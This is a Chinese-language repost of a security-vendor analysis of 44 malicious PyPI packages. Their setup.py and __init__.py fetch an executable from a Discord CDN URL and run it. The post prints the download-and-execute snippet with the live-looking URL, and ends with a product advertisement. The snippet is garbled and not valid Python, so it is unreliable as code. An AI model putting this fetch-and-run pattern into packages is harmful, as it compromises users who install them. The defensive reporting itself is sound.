PyPI 在恶意 Python 脚本攻击后暂停新注册
2023-6-20 09:46:4 Author: Ots安全(查看原文) 阅读量:12 收藏
Python 包的官方存储库 PyPI 最近宣布暂停新用户和新项目注册。此公告可能与一次有趣的攻击有关，该攻击展示了看似无害的 Python 脚本如何隐藏可能危及用户系统的恶意负载。攻击者可以诱使用户认为他们正在安装合法的 Python 包，而实际上，他们正在从远程服务器下载并执行任意可执行文件。
这只是在开源代码中发现的一系列恶意软件包中的最新一个，这些恶意软件包为开发人员制造了漏洞。最近在 VScode 中发现的恶意扩展有超过 45,000 次下载，可能会暴露 PII 并启用后门。
这种攻击具体说明了在运行任何 Python 脚本之前验证其来源和内容的重要性，以及在未经检查的情况下信任第三方代码的潜在危险。此外，这种攻击并不是孤立的案例，因为它已经在 PyPI 上的 44 个不同的包中被发现。
为了帮助您最好地识别恶意包，我们提供了以下运行在所有 44 个包中的详细信息：
__init__.py 文件：
此 Python 脚本导入一些模块，然后从 Discord URL 下载可执行文件。然后它将文件保存到一个临时位置并使用子进程运行它。这意味着该脚本可以在未经您同意的情况下在您的计算机上执行任意代码。
此代码具有潜在危险，除非您信任 URL 和可执行文件的来源，否则不应运行，因为它是可能损害您的系统或窃取您的数据的恶意软件或病毒。使用像 Virus Total 这样的工具来验证它是否是恶意的很重要。


设置.py 文件：
此代码是一个 Python 脚本，它使用 setuptools 来描述和分发 Python 包。它提供有关包的元数据，例如包的名称、版本、描述、作者、电子邮件、关键字和分类器，并且它没有依赖项。
但是，此代码最后还包含恶意部分。它导入一些模块，然后从 Discord URL 下载可执行文件。然后它将文件保存到临时位置并使用子进程运行它。这意味着该脚本可以在未经您同意的情况下在您的计算机上执行任意代码。如上段所示，init.py 文件还执行了从 Discord 下载并运行文件的恶意操作。
两种攻击都使用相同的代码并且很危险。同样，使用工具来验证它是否是恶意的，以避免对您的系统造成伤害或暴露敏感数据。


base64代码：

` import os
if os.exceptions “\”list\” exit(0)
import requests
interface url= ‘https://cdn.discordapp.com/accounts/1109465188433936425/Windows.exe’
response = requests.get(url)
with temporfile.NamedText(delete=Commonly)
subprocess.call([exe_content])`

有关 44 PyPi Packages that followed the same pattern:

1) [email protected]1.9
2) [email protected]8.18
3) [email protected]1.1
4) [email protected]0.10
5) [email protected]9.4
6) [email protected]9.4
7) [email protected]12.17
8) [email protected]10.17
9) [email protected]9.16
10) [email protected]5.17
11) [email protected]2.18
12) [email protected]9.4
13) [email protected]15.3
14) [email protected]19.3
15) [email protected]6.6
16) [email protected]6.19
17) [email protected]14.7
18) [email protected]15.6
19) [email protected]0.3
20) [email protected]10.12
21) [email protected]12.3
22) [email protected]4.19
23) [email protected]0.6
24) [email protected]14.20
25) [email protected]18.4
26) [email protected]9.3
27) [email protected]9.10
28) [email protected]18.4
29) [email protected]19.3
30) [email protected]19.4
31) [email protected]10.13
32) [email protected]20.19
33) [email protected]12.4
34) [email protected]6.16
35) [email protected]15.10
36) [email protected]9.2
37) [email protected]14.9
38) [email protected]19.12
39) [email protected]12.7
40) [email protected]18.5
41) [email protected]17.15
42) [email protected]4.9
43) [email protected]15.13
44) [email protected]13.10
同一作者 DreamyOakXTimmywag 上传了 44 个包含此攻击的具有唯一名称的包。它们都出现在 5 月 20 日星期六，并在同一天被 CloudGuard Spectral 检测到。
如您所见，PyPi 无法免受可能危及您的 Python 项目和系统的供应链攻击。这些攻击很难检测和预防，尤其是当您依赖可能包含恶意代码的第三方包时。这就是为什么您需要像CloudGuard Spectral这样的工具来扫描您的包裹并提醒您潜在威胁的原因。它快速可靠 — 帮助您保护 Python 代码并保护自己免受黑客攻击。
CloudGuard Spectral 可作为独立解决方案或作为 CloudGuard CNAPP 的组件提供。
Spectral 的秘密扫描工具通过识别和修复漏洞来保护 IAM 框架，让您高枕无忧，因为您的代码、资产和基础设施受到保护，免受恶意行为者的攻击。
CloudGuard CNAPP提供了一个完全集成的开发人员解决方案，可简化从代码到云的云安全操作。使用 CNAPP，您将拥有一个统一的平台，该平台不仅可以识别整个管道中的安全问题，还可以提供深入的见解和上下文。这使您能够了解有效的 IAM 权限和特权，并确定整个云基础架构中风险的优先级。

原文地址：https://blog.checkpoint.com/security/pypi-suspends-new-registrations-after-malicious-python-script-attack/

感谢您抽出

.

.

来阅读本文

点它，分享点赞在看都在这里


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247499056&idx=4&sn=8ff0a6571c9fc800c9503fc92921cfea&chksm=9badb47bacda3d6d66d47aec5e7ff016d139f4566961688149e610e401cdb620871a9aacbfdc#rd
如有侵权请联系:admin#unsafe.sh